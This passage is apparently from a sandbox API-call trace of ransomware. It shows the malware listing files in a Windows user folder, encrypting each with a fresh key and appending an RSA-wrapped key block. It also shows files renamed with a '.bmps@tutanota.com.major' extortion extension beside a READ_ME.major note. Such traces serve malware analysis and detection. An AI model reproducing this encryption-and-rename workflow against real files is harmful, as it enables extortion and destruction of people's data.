returned 1 [0224.374] GetLastError () returned 0x12 [0224.375] SetLastError (dwErrCode=0x12) [0224.375] GetLastError () returned 0x12 [0224.375] SetLastError (dwErrCode=0x12) [0224.375] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5c1e10 [0224.375] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e550 | out: hHeap=0x570000) returned 1 [0224.375] GetLastError () returned 0x12 [0224.375] SetLastError (dwErrCode=0x12) [0224.375] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0224.375] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0224.375] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x140) returned 0x2fae6e0 [0224.375] FindNextFileW (in: hFindFile=0x2f329e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7370840, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0xc7370840, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xb9eacc8c, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x433c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", cAlternateFileName="ACAE42~1.XML")) returned 1 [0224.375] SetLastError (dwErrCode=0x12) [0224.375] GetLastError () returned 0x12 [0224.375] SetLastError (dwErrCode=0x12) [0224.375] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5c1e10 [0224.375] SetLastError (dwErrCode=0x12) [0224.375] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5c7ed8 [0224.375] FindNextFileW (in: hFindFile=0x2f329e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc73bcca8, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0xc73bcca8, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xba09c6cc, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x443f, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", cAlternateFileName="ACAE42~2.XML")) returned 1 [0224.375] SetLastError (dwErrCode=0x12) [0224.375] GetLastError () returned 0x12 [0224.375] SetLastError (dwErrCode=0x12) [0224.376] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5c1e10 [0224.376] SetLastError (dwErrCode=0x12) [0224.376] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdd30 [0224.376] FindNextFileW (in: hFindFile=0x2f329e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6f91119, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0xc6f91119, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xb8d3a091, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x442d, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", cAlternateFileName="C08025~1.XML")) returned 1 [0224.376] SetLastError (dwErrCode=0x12) [0224.376] GetLastError () returned 0x12 [0224.376] SetLastError (dwErrCode=0x12) [0224.376] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5c1e10 [0224.376] SetLastError (dwErrCode=0x12) [0224.376] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5c7e70 [0224.376] FindNextFileW (in: hFindFile=0x2f329e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7075c97, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0xc7075c97, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xb8c553ea, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4187, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", cAlternateFileName="C08025~2.XML")) returned 1 [0224.376] SetLastError (dwErrCode=0x12) [0224.376] GetLastError () returned 0x12 [0224.376] SetLastError (dwErrCode=0x12) [0224.376] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5c1e10 [0224.376] SetLastError (dwErrCode=0x12) [0224.376] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd808 [0224.376] FindNextFileW (in: hFindFile=0x2f329e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc75ac911, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0xc75ac911, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xbb0b32d3, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418b, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", cAlternateFileName="E80C85~1.XML")) returned 1 [0224.376] SetLastError (dwErrCode=0x12) [0224.376] GetLastError () returned 0x12 [0224.377] SetLastError (dwErrCode=0x12) [0224.377] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5c1e10 [0224.377] SetLastError (dwErrCode=0x12) [0224.377] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5c7da0 [0224.377] FindNextFileW (in: hFindFile=0x2f329e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc761ef9f, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0xc761ef9f, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xbaf35d10, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4172, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", cAlternateFileName="E80C85~2.XML")) returned 1 [0224.377] SetLastError (dwErrCode=0x12) [0224.377] GetLastError () returned 0x12 [0224.377] SetLastError (dwErrCode=0x12) [0224.377] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5c1e10 [0224.377] SetLastError (dwErrCode=0x12) [0224.377] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0224.377] FindNextFileW (in: hFindFile=0x2f329e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa851fb40, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xa851fb40, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x8507a310, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c3a, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", cAlternateFileName="E9D217~1.XML")) returned 1 [0224.377] SetLastError (dwErrCode=0x12) [0224.377] GetLastError () returned 0x12 [0224.378] SetLastError (dwErrCode=0x12) [0224.378] SetLastError (dwErrCode=0x12) [0224.378] FindNextFileW (in: hFindFile=0x2f329e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa86c3528, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xa86c3528, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x85007c03, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x424c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", cAlternateFileName="E9D217~2.XML")) returned 1 [0224.378] SetLastError (dwErrCode=0x12) [0224.378] GetLastError () returned 0x12 [0224.378] SetLastError (dwErrCode=0x12) [0224.378] SetLastError (dwErrCode=0x12) [0224.378] FindNextFileW (in: hFindFile=0x2f329e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7409103, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0xc7409103, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xb806a476, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x43ad, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", cAlternateFileName="FFFD8B~1.XML")) returned 1 [0224.378] SetLastError (dwErrCode=0x12) [0224.378] GetLastError () returned 0x12 [0224.378] SetLastError (dwErrCode=0x12) [0224.378] SetLastError (dwErrCode=0x12) [0224.378] FindNextFileW (in: hFindFile=0x2f329e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7455551, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0xc7455551, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xb819b5fa, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4443, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", cAlternateFileName="FFFD8B~2.XML")) returned 1 [0224.378] SetLastError (dwErrCode=0x12) [0224.378] GetLastError () returned 0x12 [0224.378] SetLastError (dwErrCode=0x12) [0224.378] SetLastError (dwErrCode=0x12) [0224.378] FindNextFileW (in: hFindFile=0x2f329e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a2a502, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36a2a502, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36a2a502, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0224.379] SetLastError (dwErrCode=0x12) [0224.379] GetLastError () returned 0x12 [0224.379] SetLastError (dwErrCode=0x12) [0224.379] GetLastError () returned 0x12 [0224.379] SetLastError (dwErrCode=0x12) [0224.379] FindNextFileW (in: hFindFile=0x2f329e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a2a502, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36a2a502, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36a2a502, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0224.379] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0224.379] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", dwFileAttributes=0x80) returned 1 [0224.379] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1854 [0224.380] GetFileSizeEx (in: hFile=0x1854, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17475) returned 1 [0224.380] ReadFile (in: hFile=0x1854, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x4443, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x4443, lpOverlapped=0x0) returned 1 [0224.442] SetFilePointer (in: hFile=0x1854, lDistanceToMove=-17475, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0224.442] WriteFile (in: hFile=0x1854, lpBuffer=0x2f39470*, nNumberOfBytesToWrite=0x4443, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39470*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4443, lpOverlapped=0x0) returned 1 [0224.442] SetFilePointer (in: hFile=0x1854, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4443 [0224.442] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0224.442] WriteFile (in: hFile=0x1854, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0224.442] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0224.442] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0224.443] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0224.443] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="LBahiqKk2E0NG6EWDFlxkng8gC0eXj82r1KksNmuBabmUmtzKvjDHEHO989s9nME\n9LPK+IQcacm6x0xPmWgOEVdDlvMAY9xuBkXGT4eKhf6Avq8hxp12DZtNeviViC7l\nFFjnhHW/aGKQr0SI7kVZ1ZuJg85OUHpt5t4eGiRI1ilzfOV8eg+gOyhP0yiZSZW3\nYSPEUjoZjSJP0e8WhoEklPOcoLk79BO4Gk1RfCINkxA/DnFyTWEVkFzkZmiqn/Uc\nDA6cLmqlSq+BKMMjLfCApRWPtnTycSz51bcA5Y7DmsmBucHmuSDtpvbLuymktnyJ\nFAYhe/G3Nm7aRpeXN5iyXg==\n", pcchString=0x2e3f9a8) returned 1 [0224.443] WriteFile (in: hFile=0x1854, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0224.443] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0224.443] WriteFile (in: hFile=0x1854, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0224.443] CloseHandle (hObject=0x1854) returned 1 [0224.443] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0224.446] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0224.446] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", dwFileAttributes=0x80) returned 1 [0224.447] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1854 [0224.448] GetFileSizeEx (in: hFile=0x1854, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17325) returned 1 [0224.448] ReadFile (in: hFile=0x1854, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x43ad, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x43ad, lpOverlapped=0x0) returned 1 [0224.460] SetFilePointer (in: hFile=0x1854, lDistanceToMove=-17325, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0224.460] WriteFile (in: hFile=0x1854, lpBuffer=0x2f393d8*, nNumberOfBytesToWrite=0x43ad, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f393d8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x43ad, lpOverlapped=0x0) returned 1 [0224.461] SetFilePointer (in: hFile=0x1854, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x43ad [0224.461] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0224.461] WriteFile (in: hFile=0x1854, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0224.461] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0224.461] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0224.461] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0224.461] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="bOfy8B+pLEAgmF7JsBH9qFMRbT8U6yextGjYpwdTxCLpnl6C2FJ4tk2TvDwdak3a\nbN/MN56+rJwMajzmJCEWMT1kduQ9dNrdFfNcZ+2/HIs5Evp1aMO0RNuSm09XuQvm\nvhg8x/WIf5D8IxiSWij44Oa9HkC6t22q8vltqEV5iqOpwCNt8VH+RtOktF9p2xD0\n4Ge/4ghPr50btjIBR02qxKO8MYTEL5vDSImVWvHj4lBRf9Rg+RGAoceHKz5F+qRe\n9bAEd8mQGkvC/ovo2OsNY7kRu3TSwtV7GKpU7xw/1BJVppX2FVdB0OuL+qgr4c8o\nJg9OmjLvw5qlOOwhREoRVA==\n", pcchString=0x2e3f9a8) returned 1 [0224.461] WriteFile (in: hFile=0x1854, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0224.462] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0224.462] WriteFile (in: hFile=0x1854, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0224.462] CloseHandle (hObject=0x1854) returned 1 [0224.462] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\fffd8b5d-0172-4719-a792-b7c76986459d_show.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0224.487] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0224.487] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", dwFileAttributes=0x80) returned 1 [0224.487] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1854 [0224.488] GetFileSizeEx (in: hFile=0x1854, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16972) returned 1 [0224.488] ReadFile (in: hFile=0x1854, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x424c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x424c, lpOverlapped=0x0) returned 1 [0224.517] SetFilePointer (in: hFile=0x1854, lDistanceToMove=-16972, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0224.517] WriteFile (in: hFile=0x1854, lpBuffer=0x2f39278*, nNumberOfBytesToWrite=0x424c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39278*, lpNumberOfBytesWritten=0x2e3f9b4*=0x424c, lpOverlapped=0x0) returned 1 [0224.518] SetFilePointer (in: hFile=0x1854, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x424c [0224.518] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0224.518] WriteFile (in: hFile=0x1854, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0224.518] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0224.518] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0224.518] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0224.518] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="pNuLJRLDu3RqGRhyF1TrVFpZT/WgtsNf89xE19Dy/RE2mMof5GOBpCVqPdySRXB0\nEuWC03kN7jGZIJesQVEWp/rPJAitKNQgaeD3v0mWRO8BfTR8LDS0SHKYOfOj/0PT\n+WRbBWUKiJFgSMp2+DU4kKnT6xvOdTYGT7ur5VkDx2nq5GjS7Fipz5VE2Cvk4lDa\n5WH4J1uHe18x/Vxvfzau0b32gg5v/CyotMicX5sfUIOmDqbOdE3j+mvC5ao6HDE4\ndeCpoj1qOvNQxFHpru8p4F2L1/wyN74AVTo/dYyNhdXgyHZEkALtlz1ggzpm0bQa\nDbz8YIeltVBT5P+J1VPQVA==\n", pcchString=0x2e3f9a8) returned 1 [0224.518] WriteFile (in: hFile=0x1854, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0224.518] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0224.518] WriteFile (in: hFile=0x1854, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0224.518] CloseHandle (hObject=0x1854) returned 1 [0224.519] 